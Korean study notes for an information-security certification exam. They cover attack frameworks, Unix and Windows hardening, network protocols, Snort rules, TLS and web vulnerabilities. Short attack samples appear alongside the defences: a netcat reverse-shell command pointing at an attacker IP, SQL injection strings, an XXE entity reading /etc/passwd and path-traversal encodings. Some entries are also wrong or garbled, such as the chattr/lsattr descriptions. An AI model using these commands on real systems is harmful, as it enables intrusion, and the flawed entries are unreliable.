APT를 대비하기 위한 대책(정찰 > 무기화 > 전달 > 공격 > 설치 > 명령 및 제어 > 목표 장악)으로 록히드마틴사가 정식 명칭을 특허로 등록
ATT&CK Framework
MITRE에서 실제 공격 사례를 바탕으로 Cyber Kill Chain 단계를 자체적으로 개발(Adversarial Tactics, Techniques, and Common Knowledge)하여 정리
APT(Advance Persistent Threat)
지능형 지속 위협, 특정 대상을 겨냥해 다양한 공격기법을 동원하여 장기간 지속적으로 공격하는 기법
YARA
바이러스 토탈(Virustotal)에서 제작하였고, 악성코드의 특성과 행위에 포함된 패턴을 이용하여 악성코드를 분류하는 툴
MITM(Man-In-The-Middle) 공격
- 공격자가 두 당사자 간의 통신을 가로채 메시지를 도청하거나 조작할 수 있는 공격 - 대응방안: 암호화 구현(SSL/TLS), 보안 통신 프로토콜 사용(HTTPS), 소프트웨어 최신 버전 유지, 보안되지 않은 공용 WIFI 방지
바이러스
일반적으로 확산되려면 감염된 파일을 다운로드하는 등 사용자 상호작용이 필요, 시스템 손상시키거나 제어함
웜
사용자 개입 없이 네트워크나 인터넷을 통해 확산되는 자가 복제 프로그램, 네트워크 정체 및 시스템 충돌 일으킴
트로이 목마
무해한 프로그램이나 파일로 위장하고 시스템 감염시키는 프로그램으로 합법적인 것처럼 보이거나 사용자를 속여 설치하게 하고 백도어 생성하거나 정보 도용함
멀버타이징(Malvertising)
합법적인 온라인 광고에 악성 코드를 삽입하거나 사용자가 클릭하도록 속이는 가짜 광고를 생성하는 것
TMS(Threat Management System)
- 전사적 IT인프라에 대한 위협정보 들을 수집·분석·경보·관리하는 정보보호 통합관리 시스템이며 실시간으로 공신력 있는 대외 정보보호기관의 위협정보들을 수집·분석하여 정보보호관리자에게 제공함으로써 각종 보안위협으로 부터 사전 대응 및 예·경보 체계를 구축하고 이를 통해 APT 등 알려지지 않은 공격들에 대한 조기 대응을 유도한다. (EDR 등 다른 솔루션에 밀려서 제품 없음)
클라우드 환경
퍼블릭 클라우드, 프라이빗 클라우드, 하이브리드 클라우드
클라우드 서비스
IaaS(Infra구조 레벨을 제공하는 서비스), PaaS(플랫폼 및 환경 제공), SaaS(SW 사용), SecaaS(SaaS 중 보안서비스)
공급망 공격
소프트웨어 공급망에 침투하여 악성코드를 배포하는 공격으로, SW빌드 및 배포 과정에 악성코드를 삽입하여 선의의 소프트웨어를 통해 이용자들을 공격
- 하드링크 : 동일한 i-node number - 심볼릭링크 : 별도의 i-node number
useradd 명령어
- root만 사용가능 - -o 옵션은 중복 UID를 허용하는 옵션
디렉터리
- /proc: 현재 실행되고 있는 프로세스 정보 기록
Context Switching(문맥교환)
CPU를 차지하고 있던 프로세스가 CPU 자원을 반납하고 새 프로세스가 CPU를 할당받는 것
디스크립터 테이블(FDT)
표준입력, 표준출력, 표준에러
로그인불가계정의 로그인쉘
/sbin/nologin 또는 /bin/false
SSH
22/TCP
facility
로그 생성 서비스
prioroty
로그 수준 (level): Emergency(시스템 전면 중단) Alert(즉각 조치 필요) Critical Error Warming Notice(normal event) Infomation debug
[Linux] U-17 (상)
$HOME/.rhosts, hosts.equiv 사용 금지: 파일 소유자를 root 또는 해당 계정으로 변경하고 권한을 600 이하로 변경 -$HOME/.rhosts, /etc/hosts.equiv 파일에서 +를 제거하고 반드시 필요한 호스트/계정만 등록
프로세스 상태
준비, 실행, 대기, 교착 상태 (프로세스를 관리하기 위해 PCB를 생성)
페이지 교체 알고리즘
LRU(least recently used), LFU(least frequently used), NUR(not used recently)
명령어
Command
설명
ls -l
시간 = M Time(내용수정시간)
ps -l
Z = 좀비상태
kill -9 또는 kill -KILL
프로세스 강제종료 가능 (단, 좀비프로세스는 삭제 불가)
crontab
- 명령 실행 결과: 분 시 일 월 요일 작업(절대경로) - cron.allow > cron.deny (둘 다 존재할시 cron.deny는 무시됨) -l 파일출력, -e 파일 편집, -r 파일삭제
passwd -l
패스워드 잠금
passwd -u
잠금해제
strace
특정 프로그램의 시스템 콜과 시그널을 추적하는 툴 (예시) `strace -e trace=open ps
history
명령어 이력을 볼 수 있음. 로그인 후 입력했던 명령어들과 명령어 뒤에 입력한 parameter까지 확인 가능
umask
파일 생성 시 기본 권한 설정 가능 (예시) umask 022인 경우, 파일 최대 권한 666 - umask = 644
chmod
파일 허가권 변경 chmod 400 test.txt
chown
파일 소유자 변경 chown redstone test.txt
계정관리모듈 PAM의 계정 임계값 설정 옵션
- deny=5 #5회 틀릴 시 계정 잠금 - unlock_time=120 #계정잠금 후 120초 후 잠금 해제 - no_magic_root #루트계정 잠금설정 안함 - reset #접속 성공 시 실패횟수 초기화
find
파일 검색 명령어 > find / -mtime -7 #최근 7일 이내 변경된 모든 파일 검색 > find / -user root -perm -4000 #사용자가 root이면서 접근권한이 setuid로 설정된 모든 파일 검색
syslog
로그 프로토콜, 정보보호 특성을 고려하지 않고 개발되어 암호화 안함, udp 514포트 사용, tcp를 이용하도록 권고
beep
로그 프로토콜, TCP, 암호화
계정정보 변경
(솔라리스, 리눅스 HP-UX) usermod (AIX) chuser id=100 test
권한
Set-UID(SUID): 권한이 부여된 파일을 실행하면 실행하는 동안 해당 파일의 소유자 권한으로 인식함
Set-GID(SGID): 권한 실행하는 동안 해당 파일의 소유자 그룹 권한으로 인식한다
Sticky-Bit: 디렉터리에만 적용되는 권한으로, 이 권한이 적용된 디렉터리엔 일반 사용자들이 자유롭게 파일 생성, 수정, 읽기 가능하다. 다만 파일 소유자나 root 외에는 삭제가 불가능함
권한(umask) : r 읽기(4), w 쓰기(2), x 실행(1)
파일 기본권한 666
디렉터리 기본권한 777
접근권한 설명
-r-sr-xr-x root sys /etc/chk/passwd : 소유자의 실행권한이 s이므로 setuid 설정이 되어있다. 따라서 일반 사용자 계정으로 해당 파일 실행하더라도 소유자인 root 권한으로 실행된다.
-r-xr-sr-x root mail /etc/chk/mail : 그룹의 실행권한이 s이므로 setgid 설정이 되어 있다. 따라서 일반 사용자 계정으로 해당 파일 실행하더라도 mail 그룹 권한으로 실행된다.
drwxrwxrwt sys sys /tmp : 모든 사용자가 읽기, 쓰기, 실행 권한이 주어져있으며, 제3자의 실행권한이 t로 sticky bit 설정되어있다. 따라서 누구나 해당 디렉터리에 자유롭게 파일 생성, 수정, 읽기 가능하다. 다만 파일 소유자나 root 외에는 삭제 불가능하다.
환경파일
(x)inetd.conf 파일: 리눅스의 서비스 서버 설정파일 (권한 600 이하)
파일구조: 서비스명 소켓타입 프로토콜 플래그 사용자계정 실행경로명 실행인수
실행되는 서비스 데몬들 정의 (주석처리 시, 중지)
TCP wrapper 사용방법: 실행경로를 /usr/sbin.in.telnet 에서 /usr/sbin/tcpd로 변경
소켓타입: tcp(stream), udp(dgram)
hosts.allow / hosts.deny 파일 (Tcpwrapper 서비스 = 호스트 방화벽) (권한 600 이하)
# hosts.allow 예시
in.ftpd : 192.168.1 #192.168.1로 시작하는 IP주소에 ftp 서비스 허용
in.telnetd : .com EXCEPT www.abc.com # abc.com을 제외한 .com 도메인의 호스트에 telent 서비스 허용
ALL : ALL # 모든 서비스에 대해 모든 호스트 허용
ALL EXCEPT in.telentd # ALL 모든 호스트에게 텔넷제외 모든 서비스 허용
ALL : LOCAL #같은 네트워크 호스트 모두 허용
in.telentd 파일 (Telent 서비스)
(예시) 192.168.1. 192.168.1.으로 시작하는 호스트들에게 텔넷 허용
root 계정의 원격접속 제한
텔넷
/etc/securetty 파일에서 pts/~ 터미널 제거
/etc/pam.d/login 파일 수정하여 pam_securetty.so 모듈 사용 처리(auth required /lib/security/pam_security.so)
SSH : /etc/ssh/sshd_config 파일 (PermitRootLogin no로 설정)
root 계정 su 제한 : pam_wheel.so 모듈 사용
sudo 명령을 이용한 관리자 권한 부여 : /etc/sudoers 파일에 사용자 추가
/etc/pam.d 파일 (PAM 서비스: 사용자를 인증하고, 사용자의 서비스에 대한 액세스를 제어하는 모듈화된 방법)
/etc/profile: export TMOUT=600 #Session Timeout 설정
/etc/logrotate.d/logrotate.conf (로그파일 순환)
log 저장 및 관리 시 크기 커지는걸 방지하기 위해 분산시키는 명령어 설정 파일
파일 내용(옵션)
/var/log/httpd/*log{
monthly|weekly|daily #월, 주, 일 단위 rotate 실행 주기
rotate [숫자] #log 파일이 [숫자] 이상이 되면 삭제
maxage [숫자] #log 파일이 [숫자]일 이상이 되면 삭제
size [숫자] #지정된 용량보다 클 경우 rotate 실행
create [권한] [유저] [그룹] #rotate 되는 로그파일 권한 지정, 예) create 644 root root
compress #rotate되는 로그파일 압축
dateext #백업 파일 이름에 날짜 입력
}
Unix
유닉스 시스템의 3가지 컴포넌트: 커널, 쉘, 파일시스템
파일시스템 구성: 부트블록, 슈퍼블록, 아이노드 블록, 데이터 블록
부트 블록: 운영체제 부팅시 부트 코드를 담은 블록
슈퍼블록: 파일시스템을 관리하기 위한 블록
아이노드 블록: 파일시스템의 파일들에 대한 속성 정보를 담은 아이노드 저장
데이터 블록: 실제 파일 내용 저장
시스템V IPC: 시스템V계열 유닉스에서 제공하는 프로세스간 통신 방법
종류: 메세지 큐, 공유 메모리, 세마포어
Message Queue : 메시지를 전달할 수 있는 Queue를 생성
Shared Memory : 커널이 메모리 영역을 잡아주어 프로세스간에 같이 쓸 수 있도록 함
Semaphore(세마포어) : 프로세스간 동기화를 위함 (접근순서 컨트롤)
Windows
BitLocker: Windows 전용으로 제공되는 볼륨 암호화 기능
TPM(신뢰할 수 있는 플랫폼 모듈)을 사용하며 AES-128 알고리즘을 사용
Windows 인증
구성요소
LSA(Local Security Authority) : 모든 계정 로그인에 대한 검증 및 시스템 자원에 대한 접근권한 검사
이름과 SID(Security Identifier, 사용자나 그룹의 고유 식별 번호 > whoami /user) 매칭
SRM이 생성한 감사로그 기록
NT 보안의 중심요소, 보안 서브시스템
SAM(Security Account Manager) : 사용자, 그룹계정, 암호화된 패스워드를 저장하는 데이터베이스 (SID 정보 포함)
Unreachable 3 = Port Unreachable : UDP 포트가 열려있지 않음
Redirection (5)
Time Exceeded (11)
ICMP Unreachable 메시지 차단
interface null 0 no ip unreachables
Echo Request(Type 8) and Reply(Type 0)
TCP 프로토콜
흐름제어, 오류제어, 혼잡제어
Control Flags: URG(긴급데이터, OOB 설정), ACK(수신확인응답), PSH(송수신 버퍼에 있는 데이터 즉시 처리), RST(연결 중단), SYN(연결설정), FIN(연결 종료)
ARP(Address Resolution Protocol)
논리적인 주소(IP주소)를 물리적인 주소(MAC주소)로 변환하는 프로토콜
반대로 MAC주소를 IP주소로 변환하는 것은 RARP
프로토콜 방법: 목적지 IP주소는 알지만 MAC주소는 모를때, 목적지 MAC주소를 00:00:00:00:00:00으로 하고 패킷 목적지를 Broadcast(FF:FF:FF:FF:FF:FF)로 하여 네트워크 상 모든 노드한테 뿌려서 목적지 MAC주소를 획득 후, 획득한 목적지 MAC주소를 ARP cache에 저장
ARP Spoofing: 피해자의 MAC 주소로 위조하여, 피해자의 IP로 전달되는 데이터를 중간에서 가로채는 공격
예) 서로 다른 IP가 같은 MAC주소를 가지고 있는 경우
대응방안: ARP cache 테이블 정보를 정적(static)으로 설정하여 ARP 프로토콜을 통한 변조 발생하지 않도록 함 arp -s [게이트웨이 IP] [게이트웨이 MAC]
공격방법
공격자가 피해자에게 자신의 MAC주소를 게이트웨이(서버 등)의 주소인 것처럼 속인다.
공격자가 게이트웨이에게 자신의 MAC주소를 피해자의 MAC주소인 것처럼 속인다.
공격자는 피해자 및 게이트웨이로부터 메시지를 받게 되고, 이를 정상적으로 보내주면 통신은 정상적으로 이루어지면서 공격자는 모든 메시지를 읽을 수 있다.
ARP Redirect 공격: Gateway의 MAC주소로 위조하여, 공격자가 피해자들에게 자신이 라우터라고 속여서 피해자들의 패킷이 자신에게 한번 거친 후 라우터로 가도록 하는 공격SNMP(Simple Network Management Protocol)
네트워크에 있는 장비들을 관리하기 위한 프로토콜
Manager가 Agent에게 필요한 정보를 요청하는 역할 (162/UDP 사용)
Agent가 Manager에게 주기적으로 보고(설치된 시스템의 정보나 네트워크 정보)하는 역할(161/UDP 사용)
Trap: 에이전트가 매니저에게 보고하는 과정
msgSecurityParameters 보안설정
재전송 공격 방지: msgAuthoritativeEngineID, msgAuthoritativeEngineBoots, msgAuthoritativeEngineTime
위장 공격 방지: msgUserName, msgAuthenticationParameters
기밀성: msgPrivacyParameters
라우터에서 snmp 프로토콜 비활성화 명령어무선인터넷
Router# configure terminal
Router(config)# no snmp-server
인증 방식: 개인은 PSK 모드, 기업은 802.1x/EAP 모드 사용
PSK(Pre Shared Key): 별도의 인증서버 없는 소규모 망에서 사용되며, 초기 인증에 사용되는 PSK값을 이용해 4웨이 핸드쉐이킹 과정을 통해 무선AP와 무선단말기가 동일한 값 가지고 있는지 확인
EAP(Extensible Authentication Protocol): 초기에는 PPP에서의 사용을 위해 개발되었으나 현재는 무선랜 표준인 IEEE 802.1x에서 사용자 인증 방법으로 사용되며, 어떤 링크에도 접속 가능함
보안 기술
WEP(Wired Equivalent Privacy): 초기 무선랜 보안 기술, RC4 알고리즘 사용
문제점: 24bit의 짧은 길이를 사용하므로 재사용 가능, 불완전한 RC4 사용하여 암호키 노출 가능, 무선전송 데이터 노출 위험성
WPA(Wifi Protection Access) = WPA1: EAP를 통해 인증을 수행하고 RC4-TKIP 알고리즘으로 암호화
WPA2: EAP를 통해 인증을 수행하고 AES-CCMP 알고리즘으로 암호화 지원
WIPS(무선침입방지시스템): 비인가 무선 단말기의 접속을 탐지 및 차단하고, 보안에 취약한 무선공유기AP를 탐지
무선 표준
IEEE 802.11 : Infrastructure 모드, Ad-Hoc 모드
IEEE 802.11i 보안 표준 : WPA1, WPA2
무선 AP 물리적/관리적 보안
SSID 변경 및 브로드캐스트 금지
무선AP Default Password 변경
무선 AP의 물리적 접근 제한
Snort
실시간 트래픽 분석과 네트워크 패킷 처리가 가능한 오픈소스 IDS S/W
(리눅스) /etc/snort 디렉터리 밑에 설정 파일 등이 위치함
Snort Rule: 크게 헤더(Header)와 바디(Body)로 구성됨
Rule Header 구조: [action]+[Protocol]+[IP주소]+[Port번호] alert udp 0.0.0.0/0 any -> 192.168.10.0/24 any
action 유형
alert: 알람 발생, 패킷을 로그에 기록
log: 패킷 로그에만 기록
pass: 아무런 처리없이 통과
activate: 알람 발생, dynamic 룰 동작
dynamic: activate 룰에 의해 트리거, 패킷 로그에만 기록
drop: 패킷 차단하고 로그 기록
reject: 패킷 차단하고 로그 기록하며 Reset or ICMP port unreachable 메시지 전송
sdrop: 패킷 차단만 하고 로그 기록하지 않음
Rule Body 기본설정: 패킷 검출을 위한 다양한 옵션 설정 가능
msg: 룰 타이틀 명으로 이벤트 발생 시 로그에 기록되는 항목
sid: snort rule id (99: 시스템 예약 sid, 100: snort에서 사용하는 sid)
classtype: rule에 대한 이벤트 유형 정보
rev: rule 버전 정보로 수정한 횟수
Rule Body 페이로드/범위 관련 옵션
content: 패킷의 payload에서 검사할 문자열 지정 |바이너리값|
uricontent: URI 정보 검사
nocase: payload 검사 시 대소문자 구분안함
offset : payload에서 패턴 매칭할 시작 위치(0 부터 시작), offset 바이트만큼 띄우고 검사 시작
depth : payload에서 패턴 매칭할 끝 위치(0+offset 시작), depth 바이트만큼 검사
distance N: 이전 검색 마친 위치에서 N bytes만큼 띄우고 검사 시작
within: distance로부터 N 바이트 범위 내 검사
Rule Body 이벤트 관련 옵션
threshold type <limit|threshold|both> track [출발지|목적지] count c seconds s
limit : 매 s초동안 c번째 이벤트까지 ```
tcp 플래그가 아무것도 설정되지 않거나, 모든 플래그가 설정된 경우 초당 1개까지만 -j 로그 또는 차단
p tcp --tcp-flags ALL NONE -m limit --limit 1/second
p tcp --tcp-flags ALL ALL -m limit --limit 1/second ```
threshold : 매 s초동안 c번째 이벤트마다
both : 매 s초동안 c번째 이벤트시 한 번만
Suricata: 오픈소스 IDS/IPS로, 기존의 Snort의 장점을 수용하고, 대용량 트래픽을 실시간으로 처리하는데 특화된 소프트웨어
펄 호환(PCRE) 정규식
\ 특수문자 제거
^ 다음에 오는 문자가 문자열의 시작
$ 바로 앞의 문자가 문자열의 끝을 의미함
. 임의의 문자 1개
IPtables
리눅스 OS 방화벽으로, 네트워크 방화벽과 동일하게 IP/Port 기반으로 패킷 차단/허용 가능
보안 제공 방법: 사용자가 SSL로 보호되는 웹 사이트 접속하면 브라우저와 웹 사이트 서버는 SSL 핸드쉐이크를 통해 보안 연결 협상
세션 키 합의함으로서 전송되는 데이터 암호화하고 무결성 보장하는 보안 채널 제공
TLS 키 교환 프로세스
클라이언트가 암호화 알고리즘 및 매개변수 목록을 서버로 전송
서버는 클라이언트가 제공한 목록 중 암호화 알고리즘과 매개변수 선택하고 공개키와 디지털 인증서를 전송
클라이언트는 서버의 디지털 인증서 확인 후 임의의 암호화된 메시지 생성하여 서버로 전송
서버는 개인 키로 복호화하여 클라이언트와 서버 모두 고유한 세션키 생성 완료
제로 라운드 트립 타임(0-RTT): TLS 1.3에 추가된 기능, 세션키를 합의하는 핸드 셰이크 과정을 간소화하여 암호화 시간을 줄여주는 기능
DTLS(Datagram Transport Layer Security): UDP 기반으로 통신을 수행하는 경우 SSL/TLS와 유사한 보안 기능을 제공하는 프로토콜
POODLE(Padding Oracle On Downgraded Legacy Encryption) 공격: TLS 연결을 SSL 3.0으로 낮춰 SSL 3.0 취약점을 이용하여 암호문을 해독하는 공격 기법
HeartBleed 취약점(CVE-2014-0160): 통신 구간 암호화를 위해 사용하는 OpenSSL 암호화 라이브러리의 하트비트(Heartbeat)라는 확장 모듈에서 클라이언트 요청 메시지를 처리할 때 데이터 길이 검증을 수행하지 않아 시스템 메모리에 저장된 64KB 크기의 데이터를 외부에서 아무런 제한 없이 탈취할 수 있는 취약점 (SSL 프로토콜의 취약점이며, OpenSSL 1.01f 이전 버전이 영향 받음)
관련 용어
Handshake : 종단간의 보안 파라미터를 협상
완전협상과정 찾아봐야 하나?
Change Cipher Spec : 협상된 보안 파라미터를 적용/변경 알림
Record : 실질적 암복호화/검증
SSL/TLS 완전 순방향 비밀성PFS
서버 개인키가 노출되어도 이전 트래픽 정보의 기밀성은 그대로 유지
키 교환시마다 임시Ephemeral 디피-헬만 키 교환
속도가 느림, 브라우저 호환을 위해 RSA 키교환 함께 사용방화벽
종류
패킷 필터링 방화벽: Ingress/Egress 필터링 가능
stateful 방화벽: 동일한 출발지 IP주소, 포트번호, 목적지 IP주소, 포트번호 등을 갖는 패킷들의 상태 저장하고 그룹으로 필터링하여 정교하게 차단 가능
웹방화벽: 웹 컨텐츠를 분석하고 탐지 및 차단할 수 있는 기능을 가지고 있는 보안장비 (캐슬, Webknight 등)
필터링 방법
Ingress 필터링: 라우터 외부에서 내부로 유입되는 패킷 필터링, 인터넷 상에서 사용되지 않는 IP 대역은 차단 (존재하지 않는 외부 IP 이용한 Spoofing 공격 차단 가능)
Egress 필터링: 라우터 내부에서 외부로 나가는 패킷 필터링, 내부에서 관리중인 IP가 아니라면 위조로 판단 (source IP는 반드시 라우터와 같은 대역이어야 함)
IDS
종류
H-IDS: (호스트기반) 트립와이어 툴
N-IDS: (네트워크 기반) 스노트 툴
탐지결과
오탐(False Positive): 정상적인 행위를 이상행위로 판단하여 탐지하는 상황
미탐(False Negative): 이상행위를 탐지하지 못하는 상황
탐지기법
오용탐지 : 잘 알려져 있는 공격패턴을 룰로 등록하고, 패턴과 일치여부에 따라 침입여부를 판단하는 방식(등록된 공격패턴에 의하여 탐지되므로 오탐률 낮음, 새로운 공격은 탐지 불가하며, 지속적으로 패턴 업데이트 필요)
이상탐지(비정상행위 탐지): 정상행위와 이상행위 분석하고, 통계적 분석을 통하여 침입여부를 판단하는 방식
설치위치
라우터 전 : 모든 트래픽 탐지, but 성능상 문제
라우터 후 : 효율적 탐지, but 방화벽 뒤 트래픽 탐지안됨
라우터>방화벽 사이 : 효율적 탐지, 보호구간내 트래픽 탐지, but외부유입되는 모든 트래픽은 모름
IDS는 미러링모드로, IPS는 인라인 모드로 설치
용어
설명
Tiny Fragment
- 공격자가 패킷을 소형 단편화하여 공격하는 것 - 쪼개진 패킷을 재조합하는 기능이 없는 방화벽에서는 탐지하거나 차단 불가 - 대응방안: 단편화된 패킷 재조합 기능있는 방화벽 사용
스위칭 허브
패킷의 목적지 주소(MAC, IP, Port 등)를 확인하여, 목적지가 연결된 스위치의 포트로만 패킷을 전송하는 장치 - 패킷의 고속 전송, 로드 밸런싱, QoS 기능을 수행 * 동작 원리 - Leaning: 테이블에 정보 저장 - Flooding: 모르는 정보를 모든 호스트에 전달 - Forwarding: 알고있는 목적지로 정보 전달 - Filtering: 다른 목적지로 넘어가지 못하게 제어 - Aging: 오래된 정보 삭제
스위치 재밍(MAC Flooding)
스위치 Mac address table 버퍼 오버플로우 공격으로, 스위치를 허브처럼 동작하게 만드는 기법
Wireshark
- 질의에 대한 응답 패킷만을 보기 위한 필터링 구문: dns.flags.response==1 - 질의만을 보기 위한 옵션: dns.flags.response==0
TCP
- 3 way 핸드쉐이크 과정: SYN 전송 > SYN-ACK 전송 > ACK 전송 - SYN seq값은 앞에 ack값이 있으면 그 값 그대로 가져감 - ack값은 seq+1 (ex) SYN seq(100) 전송 > SYN/ACK seq(200)/ack(101) 전송 > ACK seq(101)/ack(201)
Promiscuous mode(무차별 모드)
- 네트워크 카드의 특정 인터페이스로 들어오는 모든 패킷을 수신하게 된다. (ex) device eth0 entered Promiscuous mode : eth0 인터페이스로 들어오는 모든 패킷 수신 - 해당 모드 진입 시 패킷 스니핑 공격 가능 - 대응방안: 통신시 SSH, HTTPS와 같은 암호화 통신 사용
비콘Beacon 프레임/메시지
무선AP가 자신이 관리하는 무선랜BSS의 존재를 정기적으로 알리는 브로드캐스트 프레임/메시지
NAC(네트워크접근제어)
단말기가 내부 네트워크에 접속을 시도할 때 이를 제어하고 통제
UTM(통합보안시스템)
다양한 보안 기능을 하나의 장비로 통합해 제공
EDR(엔드포인트 탐지 및 대응 솔루션)
엔드포인트에서 발생하는 악성행위를 실시간으로 감지
스팸차단솔루션 (Anti-spam solution)
보안운영체제 (Secure OS)
디지털 저작권 관리 DRM
저작권자가 배포한 디지털 자료나 하드웨어의 사용을 제어하고, 이를 의도한 용도로만 사용하도록 제어하는데 사용되는 모든 기술
네트워크/단말 정보유출방지 DLP
정보의 흐름에 대한 모니터링과 실시간 차단 전사적 보안관리 시스템
ESM 솔루션
초기
SIEM (Security Infomation & Event Management)
보안정보 및 이벤트관리 솔루션 (빅데이터 기반, 분석)
SOAR (Security Orchestration, Automation and Response)
보안 오케스트레이션, 자동화 및 대응 시스템 솔루션 (AI, 머신러닝 활용)
위협 인텔리전스(TI: Threat Inteligence)
수많은 위협 정보를 수집, 분석, 활용하여 생성해내는 증거 기반 정보, SIEM, SOAR 등 보안관제 솔루션과 연계
PMS
패치 관리 시스템
HSM
하드웨어 보안 모듈
통합 접근 관리 EAM
(통합 인증SSO과 사용자별/그룹별 접근권한 통제)
통합 계정 관리 IAM
EAM에서 확장, 자동화
샌드박스Sandbox
보호된 영역에서 시행시켜, 내부 시스템에 악영향을 주는 것을 미연에 방지하는 기술
APT 대응 시스템
가상머신 기반의 샌드박스 환경에서 해당 파일을 직접 실행하여 악성 여부를 판단하는 행위기반분석 보안장비
네서스nessus
테너블사tenable 개발. 알려진 취약점에 대한 점검을 수행
닉토nikto
방대한 취약점 DB를 통해 웹서버에 대한 포괄적 점검을 수행
루트킷 점검도구 chkrootkit * INFECTED : 해당 파일이 변조됨 * ps 실행결과와 /proc 디렉터리에 있는 프로세스 정보를 비교
cp exe /root/tmp/test_bdoor
cp 명령어로 삭제된 프로세스 복원
rpm -V 패키지 이름
RPM 명령으로 변조파일 확인
lsattr 명령어
-i : 읽기 전용으로 변경
chattr 명령어
+i : 읽기 전용 해제
리버스 쉘
내부에서 netcat 프로그램을 이용한 리버스 쉘 연결 작업 ((공격자서버) nc -lvp 80 -> (희생자서버) nc 공격자 ip주소 -e /bin/bash ) 외부에서 리버스 쉘을 이용해 웹서버에 악의적인 명령 수행 ( nc 커넥터가 nc 리스너로 접속 )
strace -e trace=open ps
특정 프로그램의 시스템 콜과 시그널을 추적하는데 사용하는 디버깅 도구
웹서버 침해사고 흔적 조회
임시 인터넷 객체, 임시 인터넷 파일(캐시), 열어본 페이지(히스토리), 임시 쿠키 파일
전송계층
Multiplexing(다중화)
여러 소켓에서 데이터를 모아서 각 데이터의 헤더 정보를 캡슐화하여 세그먼트로 전달
하나의 기능(매체)를 여러 영역에서 동시에 사용하는 기법
Demultiplexing(역다중화)
수신된 세그먼트를 나눠서 올바른 소켓에 전달
공유하는 기능으로부터 개별 영역으로 분할하는 기법
애플리케이션 보안
웹 서버 설정
Apache 로그파일
Access 로그: 웹 서버가 클라이언트 요청에 대해 반환한 응답에 대한 정보 기록
Error 로그: 웹 서버에서 발생한 오류와 경고에 대한 정보 기록
httpd.conf: 로그파일 경로 확인 가능한 파일 Errorlog "/var/log/httpd/error_log"
Apache 설정파일
KeepAlive On: KeepAlive 옵션 켜기
MaxKeepAliveRequests 100: KeepAlive 허용하는 유저 수 100명 설정
KeepAliveTimeout 100: KeepAlive 유지시간 100초 설정
DirectoryIndex index.htm index.html: 디렉터리 접근 시 index.htm 먼저 읽고 없으면 index.html 읽기
CustomLog /www/logs/access_log common: 로그파일을 /www/logs/access_log 경로에 저장
명령어
LimitRequestBody: httpd.conf 파일에서 디렉터리에 업로드 가능한 최대 파일크기 제한하는 명령어
SMTP
SFP : DNS의 TXT레코드에 IP 등록
DKIM : 전자서명+DNS의 TXT레코드에 공개키 등록
DMARC = SFP + DKIM
HTTP
Keep-Alive On : TCP 연결 일정시간 유지 (+ KeepAliveTimeout 15 )
서버가 Set-cookie : name=test 로 -> 클라이언트는 Cookie : name=test 로 받음
httponly : 스크립트를 통해 해당 쿠키에 접근하는 것을 차단
secure : 클라이언트가 https(SSL/TLS) 통신을 할 때만 쿠키를 전송
php면 php.ini의 session.cookie_secure = 1
자동화공격의 대응방법: 캡차
robots.txt의 정의 속성: User-agent, Allow, Disallow
속성: 내용 (대소문자 구분 함)
심볼릭링크 삭제 FollowSymLinks
Referer 식별자 : 제3의 url에서 접근할 경우, 자동화 공격 의심
웹 취약점
SQL Injection: DB와 연결되어 있는 애플리케이션의 입력값을 조작하여 의도하지 않은 결과를 반환하도록 하는 공격 기법
예시: ' or 1=1# (mysql) ' or 1=1-- (그외)
대응방안 = prepared statement
최초에 한번 쿼리를 분석해 최적화 수행 후 메모리에 저장해두고, 다음 요청부터는 저장된 결과를 재사용하여 쿼리를 수행하는 방식
사용자가 입력한 값이 SQL 쿼리가 아닌 매개 변수로 처리되기 때문에 SQL 인젝션 공격을 막을 수 있음
Error based SQL Injection: SQL의 잘못된 문법이나 자료형 불일치 등에 의해 데이터베이스가 알려주는 오류 메시지에 의존하여 수행되는 공격 기법
UNION based SQL Injection: 데이터베이스 오류 메시지를 표시하지 않을 경우 사용하며, 기존 정상쿼리와 악성쿼리를 합집합으로 출력하여 정보 획득하는 기법
Blind based SQL Injection: HTTP 응답이나 데이터베이스 오류 메시지를 표시하지 않는 경우 사용하며, 요청이 참인지 거짓인지만 확인할 수 있을 때 사용 (입력값 바꿔가면서 계속 시도하여야 함)
예시: find=board&search=%27+and+substr%28%28select+table_name+from+information_schema.tables+where+table+type%3D%27base_table%27+limit+0%2C ... 하략 => 공격자는 information_schema.tables 테이블을 통해 사용자가 생성한 테이블의 이름을 알아내려 하고 있다.
XSS: 게시판, 웹, 메일 등에 삽입된 악의적인 스크립트에 의해 클라이언트측에서 쿠키정보 탈취 및 기타 개인정보를 특정 사이트로 전송시키는 공격 기법
대응방안: 사용자 입력 문자열에서 HTML 코드로 인식될 수 있는 특수문자(<,>,&,/,(,))를 일반문자로 치환하여 이스케이프 처리
SSRF(서버 사이드 요청 위조) : 공격자가 요청정보를 조작하여, 웹서버가 내부 서버에 조작된 요청을 하도록 함.
Directory Indexing(Directory Listing): 특정 디렉터리에 초기 페이지(index.html, home.html 등)의 파일이 존재하지 않을 때 자동으로 디렉터리 리스트를 출력하는 취약점
대응방안: 디렉터리 인덱싱을 비활성화하도록 웹 서버 구성하여 방지 가능, Apache 웹 서버의 .htaccess 파일에 Options에서 Indexes 문구 삭제
운영체제 명령어 삽입 (OS Command Injection) 취약점: 시스템 명령어를 실행할 수 있는 함수 syxtem, exec 등
상위 디렉터리 이동 : . (%2e 또는 %252e), .. (%2e%2e 또는 %252e%252e)
파일 업로드 공격: 실행 가능한 스크립트 파일(jsp, php, sh)을 첨부하여 원격에서 제어하는 공격
웹쉘: 첨부되는 스크립트 파일
대응방안: .htaccess 파일 설정하기
FilesMatch #특정 확장자들을 deny하거나 allow 설정할 수 있는 지시자
AddType text/html .html #특정 확장자들을 html로 해석되도록 만들 수 있는 지시자
LimitRequestBody #크기제한
File Inclusion 공격: - include 또는 require 함수 사용
allow_url_fopen = Off 로 설정하여 대응
display_errors=Off 로 에러페이지 노출 방지
Drive By Download: 사용자가 접속한 웹페이지에서 팝업, ifram, 리다이렉트 등을 통해 사용자가 인식하지 못하게 악성코드 다운로드시키는 유형
Dropper: 정상 애플리케이션인 것처럼 배포된 뒤 자신의 내부에 압축해서 가지고 있던 코드를 이용하여 새로운 악성코드를 생성하여 시스템을 감염
XXE(XML eXternal Entity) Injection: XML 문서 안에서 외부의 개체를 참조하게 되는데 이때 외부 개체에 삽입된 악의적인 코드가 실행되어 데이터 유출, 서비스 거부 공격 등을 수행 가능 <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
XML Bomb (개체 반복참조 서비스거부 유발)
XPath/XQuery 인젝션: 입력값 검증으로 대응
